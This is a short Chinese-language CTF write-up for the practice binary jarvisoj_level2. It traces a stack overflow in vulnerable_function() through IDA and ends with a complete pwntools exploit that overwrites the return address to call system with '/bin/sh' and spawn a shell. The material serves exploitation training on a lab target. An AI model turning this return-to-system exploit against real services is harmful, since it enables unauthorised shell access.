jarvisoj_level2
使用checksec查看:

放进IDA中分析:

- 存在漏洞函数
vulnerable_function(),跟进。
vulnerable_function():

return read(0, &buf, 0x100u);:向变量buf中写入0x100长度的数据,变量buf距离ebp0x88,存在栈溢出。system("echo Input:");:有system()函数可以使用
查询该程序中的字符串:

- 发现有
/bin/sh
题目思路
- 利用栈溢出跳转
system@PLT system参数给上/bin/sh- getshell
步骤解析
完整exp
from pwn import *
#start
r = process("../buu/jarvisoj_level2")
elf = ELF("../buu/jarvisoj_level2")
#params
sys_addr = elf.symbols['system']
bin_sh_addr = 0x0804A024
#attack
payload = b'M' * (0x88 + 4) + p32(sys_addr) + b'M' * 4 + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()









